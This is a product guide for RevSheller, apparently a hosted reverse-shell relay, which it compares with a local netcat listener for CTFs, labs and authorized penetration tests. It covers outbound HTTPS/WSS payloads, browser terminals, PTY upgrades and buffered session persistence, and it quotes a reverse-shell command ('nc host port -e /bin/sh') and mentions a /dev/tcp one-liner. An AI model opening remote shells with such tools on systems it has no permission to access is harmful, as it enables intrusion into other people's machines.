Guides

RevSheller vs nc -lvnp: a netcat listener alternative

Free, and no account needed for one session. Create a listener and follow along.

Create a listener

Authorized use only. Use RevSheller only on CTFs, your own labs, training platforms and engagements where you have permission.

What netcat does well

Running nc -lvnp 4444 is the baseline for a reason. It is installed almost everywhere, needs no account, has no moving parts and keeps all traffic on your own machine. If your target can reach your machine directly, for example a VM on a host-only network, a box on the same LAN or a lab VPN where the target connects to your tun address, then local netcat is the simplest tool and you should use it. The same goes for ncat, socat and pwncat-style listeners: if one of them works for your situation, there is no reason to add a hosted service.

Where a local listener gets in the way

How RevSheller differs

RevSheller is a hosted relay on Cloudflare's edge. The target runs a generated payload that connects out over HTTPS or WSS on 443, and you work in a terminal in your browser. The target connects to a per-session subdomain with a per-session token, so there is no open port on your own machine.

Browser terminal

The operator side is an xterm.js terminal in the browser. Resizing the window sends the new dimensions to the target, so full-screen programs lay out correctly. You get this on any machine with a browser, including ones where you cannot install tools.

PTY and ConPTY upgrades

With netcat you normally spawn a PTY by hand on the target and then fix up your local terminal settings. The hosted clients do this for you. The Python client starts an interactive shell in a POSIX PTY on Unix targets. The PowerShell client uses Windows ConPTY (the pseudoconsole API), falling back to plain pipes on Windows older than version 1809. Either way you start in an interactive terminal instead of a line buffer. The Windows PowerShell guide covers the ConPTY client in more detail.

Session persistence

The session lives in a Durable Object on the relay, not in your terminal window. If you close the tab or your laptop sleeps, the target connection can stay up and you can reattach from the session page. While no operator is attached, output from the target is buffered up to a limit of 1 MB. Persistence is bounded, not unlimited: sessions close after an idle period (five minutes on the free tier) and have a maximum lifetime, so this is not a replacement for a long-term implant or a service you leave running.

Side by side

The one-liner caveat

Because Cloudflare does not accept inbound raw TCP, you cannot paste nc host port -e /bin/sh or a /dev/tcp one-liner and aim it at a session. Use the Auto payload, or the bridge agent, which accepts plain TCP locally and forwards it over WSS.

Privacy

Shell I/O is relayed live and is not written to disk or logged. If you need traffic to never touch a third party at all, use a local listener.

FAQ

Can I point nc at a RevSheller session?
Not directly. Use the generated payloads or the bridge agent.

Is RevSheller a replacement for netcat?
No. It is an alternative for when a local listener is awkward. When the target can reach you, local nc is simpler.

What happens if I close my browser tab?
The session stays open on the relay and target output is buffered while you are away. Idle sessions still time out.

Can I use it on any machine?
Only on systems you own or have explicit permission to test. See the Terms of Service.

Ready to try it? One click creates a listener; you paste one command on a machine you are authorized to test.

Create a listener